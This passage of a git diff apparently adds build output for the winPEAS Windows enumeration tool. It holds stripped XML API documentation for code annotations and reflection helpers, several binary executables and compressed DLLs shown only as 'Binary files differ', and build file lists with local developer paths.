x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Represents a strongly-typed, read-only collection of elements. + The type of the elements. + + + + Gets the number of elements in the collection. + The number of elements in the collection. + + + Represents a read-only collection of elements that can be accessed by index. + The type of elements in the read-only list. + + + + Gets the element at the specified index in the read-only list. + The element at the specified index in the read-only list. + The zero-based index of the element to get. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/winPEAS/winPEASexe/winPEAS/bin/x86/Release/winPEAS.exe b/winPEAS/winPEASexe/winPEAS/bin/x86/Release/winPEAS.exe new file mode 100755 index 0000000..8ffe520 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/bin/x86/Release/winPEAS.exe differ diff --git a/winPEAS/winPEASexe/winPEAS/bin/x86/Release/winPEAS.exe.config b/winPEAS/winPEASexe/winPEAS/bin/x86/Release/winPEAS.exe.config new file mode 100755 index 0000000..2c307fa --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/bin/x86/Release/winPEAS.exe.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/winPEAS/winPEASexe/winPEAS/bin/x86/Release/winPEAS.pdb b/winPEAS/winPEASexe/winPEAS/bin/x86/Release/winPEAS.pdb new file mode 100755 index 0000000..542aae0 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/bin/x86/Release/winPEAS.pdb differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..cb1ab19 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..109deab Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..55b9745 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..a29193c Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed new file mode 100755 index 0000000..d9fe526 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/788C07DA79190438DDA5A9E9FB99443B65B91FEF.costura.colorful.console.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/788C07DA79190438DDA5A9E9FB99443B65B91FEF.costura.colorful.console.dll.compressed new file mode 100755 index 0000000..b5b71df Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/788C07DA79190438DDA5A9E9FB99443B65B91FEF.costura.colorful.console.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..248c7d2 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed new file mode 100755 index 0000000..7039d8f Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..f53f81d Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed new file mode 100755 index 0000000..b5db636 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..2af82ed Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed new file mode 100755 index 0000000..c1e73ce Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Debug/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/winPEAS/winPEASexe/winPEAS/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache new file mode 100755 index 0000000..d96ec1b Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.csproj.CopyComplete b/winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.csproj.CopyComplete new file mode 100755 index 0000000..e69de29 diff --git a/winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.csproj.FileListAbsolute.txt b/winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.csproj.FileListAbsolute.txt new file mode 100755 index 0000000..c767821 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.csproj.FileListAbsolute.txt @@ -0,0 +1,42 @@ +C:\Users\carlos\source\repos\winPEAS\winPEAS\bin\Debug\winPEAS.exe.config +C:\Users\carlos\source\repos\winPEAS\winPEAS\bin\Debug\winPEAS.exe +C:\Users\carlos\source\repos\winPEAS\winPEAS\bin\Debug\winPEAS.pdb +C:\Users\carlos\source\repos\winPEAS\winPEAS\bin\Debug\Microsoft.Win32.TaskScheduler.xml +C:\Users\carlos\source\repos\winPEAS\winPEAS\obj\Debug\winPEAS.csproj.CopyComplete +C:\Users\carlos\source\repos\winPEAS\winPEAS\obj\Debug\winPEAS.exe +C:\Users\carlos\source\repos\winPEAS\winPEAS\obj\Debug\winPEAS.pdb +C:\Users\carlos\source\repos\winPEAS\winPEAS\obj\Debug\winPEAS.csproj.Fody.CopyLocal.cache +D:\Users\cpolo\Downloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\bin\Debug\winPEAS.exe.config +D:\Users\cpolo\Downloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\bin\Debug\winPEAS.exe +D:\Users\cpolo\Downloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\bin\Debug\winPEAS.pdb +D:\Users\cpolo\Downloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\bin\Debug\Microsoft.Win32.TaskScheduler.xml +D:\Users\cpolo\Downloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\obj\Debug\winPEAS.csproj.Fody.CopyLocal.cache +D:\Users\cpolo\Downloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\obj\Debug\winPEAS.csproj.CopyComplete +D:\Users\cpolo\Downloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\obj\Debug\winPEAS.exe +D:\Users\cpolo\Downloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\obj\Debug\winPEAS.pdb +D:\Windows\carlos\Donwloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\bin\Debug\winPEAS.exe.config +D:\Windows\carlos\Donwloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\bin\Debug\winPEAS.exe +D:\Windows\carlos\Donwloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\bin\Debug\winPEAS.pdb +D:\Windows\carlos\Donwloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\bin\Debug\Microsoft.Win32.TaskScheduler.xml +D:\Windows\carlos\Donwloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\obj\Debug\winPEAS.csproj.Fody.CopyLocal.cache +D:\Windows\carlos\Donwloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\obj\Debug\winPEAS.csproj.CopyComplete +D:\Windows\carlos\Donwloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\obj\Debug\winPEAS.exe +D:\Windows\carlos\Donwloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\obj\Debug\winPEAS.pdb +D:\Windows\carlos\Donwloads\Telegram Desktop\winPEAS (2)\winPEAS\winPEAS\obj\Debug\winPEAS.csprojAssemblyReference.cache +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEAS-C#\winPEAS\bin\Debug\winPEAS.exe.config +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEAS-C#\winPEAS\bin\Debug\winPEAS.exe +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEAS-C#\winPEAS\bin\Debug\winPEAS.pdb +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEAS-C#\winPEAS\bin\Debug\Microsoft.Win32.TaskScheduler.xml +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEAS-C#\winPEAS\obj\Debug\winPEAS.csprojAssemblyReference.cache +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEAS-C#\winPEAS\obj\Debug\winPEAS.csproj.Fody.CopyLocal.cache +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEAS-C#\winPEAS\obj\Debug\winPEAS.csproj.CopyComplete +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEAS-C#\winPEAS\obj\Debug\winPEAS.exe +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEAS-C#\winPEAS\obj\Debug\winPEAS.pdb +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\Debug\winPEAS.exe.config +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\Debug\winPEAS.exe +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\Debug\winPEAS.pdb +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\bin\Debug\Microsoft.Win32.TaskScheduler.xml +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\Debug\winPEAS.csproj.Fody.CopyLocal.cache +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\Debug\winPEAS.csproj.CopyComplete +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\Debug\winPEAS.exe +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\winPEAS\obj\Debug\winPEAS.pdb diff --git a/winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.csproj.Fody.CopyLocal.cache b/winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.csproj.Fody.CopyLocal.cache new file mode 100755 index 0000000..0979e84 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.csproj.Fody.CopyLocal.cache @@ -0,0 +1 @@ +C:\Users\carlos\source\repos\PEASS\winPEAS\winPEASexe\packages\TaskScheduler.2.8.16\lib\net40\Microsoft.Win32.TaskScheduler.xml diff --git a/winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.exe b/winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.exe new file mode 100755 index 0000000..4af972b Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.exe differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.pdb b/winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.pdb new file mode 100755 index 0000000..aa81461 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Debug/winPEAS.pdb differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..cb1ab19 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/3947F85526193620288F07760689E70CA611A7B1.costura.pl.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..109deab Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/412A4F4023ABEBC3752D8E9CE3D0CDC71938451E.costura.zh-CN.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..55b9745 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/496C9B88A44D97956399EF7EA0043FF3EB4C7226.costura.ru.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..a29193c Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/552D8816B80FF06469EF3290A2E2C1BA53AEDCAC.costura.de.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed new file mode 100755 index 0000000..d9fe526 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..248c7d2 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/8586773CD215A9632D1CB989A7D2F00F1CF50208.costura.fr.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed new file mode 100755 index 0000000..7039d8f Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/8CAD6CB096CD3047DB70473A2CB28ABE365C4B4C.costura.microsoft.win32.taskscheduler.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..f53f81d Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/901645124D15320EB0B8C692C4F7CAD8AA4C8DA2.costura.it.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed new file mode 100755 index 0000000..b5db636 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/A1BAEE165B060EDDE44A41A91FEBB9A42DE4FCBD.costura.colorful.console.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed new file mode 100755 index 0000000..2af82ed Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/EA2AF48CEEFFC8B66493965A22D13831E23E3548.costura.es.microsoft.win32.taskscheduler.resources.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed new file mode 100755 index 0000000..c1e73ce Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Release/Costura/FD54C1E8170172997DB669F3C51B1554FE0427DB.costura.credentialmanagement.dll.compressed differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache b/winPEAS/winPEASexe/winPEAS/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache new file mode 100755 index 0000000..5687c04 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache differ diff --git a/winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.csproj.CopyComplete b/winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.csproj.CopyComplete new file mode 100755 index 0000000..e69de29 diff --git a/winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.csproj.FileListAbsolute.txt b/winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.csproj.FileListAbsolute.txt new file mode 100755 index 0000000..7c4607f --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/obj/Release/winPEAS.csproj.FileListAbsolute.txt @@ -0,0 +1,32 @@ +C:\Users\carlos\source\repos\winPEAS\winPEAS\bin\Release\winPEAS.exe.config +C:\Users\carlos\source\repos\winPEAS\winPEAS\bin\Release\winPEAS.exe +C:\Users\carlos\source\repos\winPEAS\winPEAS\bin\Release\winPEAS.pdb 